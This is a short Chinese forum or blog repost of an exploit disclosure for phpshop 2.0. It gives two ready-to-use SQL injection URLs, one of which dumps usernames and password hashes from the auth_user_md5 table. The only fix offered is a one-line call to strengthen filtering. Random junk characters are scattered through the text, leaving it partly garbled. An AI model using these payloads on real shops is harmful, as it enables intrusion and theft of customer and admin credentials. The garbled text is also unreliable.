phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
. v" R) L7 e# j) h
; T+ n3 ?1 \0 [( F" H# C作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

6 n- A+ `- ]' n$ k+ I) k
7 ]: e6 ~/ ^- @SQLi p0c:

3 Y3 V0 ]  ^0 }9 W==================
4 o+ V9 W7 |/ Y9 n3 s
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
! A. O, W* l* Q( @7 R+ ^2 Runion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
' a: @" [4 ?' U/ N6 t, g
4 d( ]0 @! B4 l' V0 L. a/ W修复：
加强过滤
; Y. D5 e' q" d/ A3 L4 I​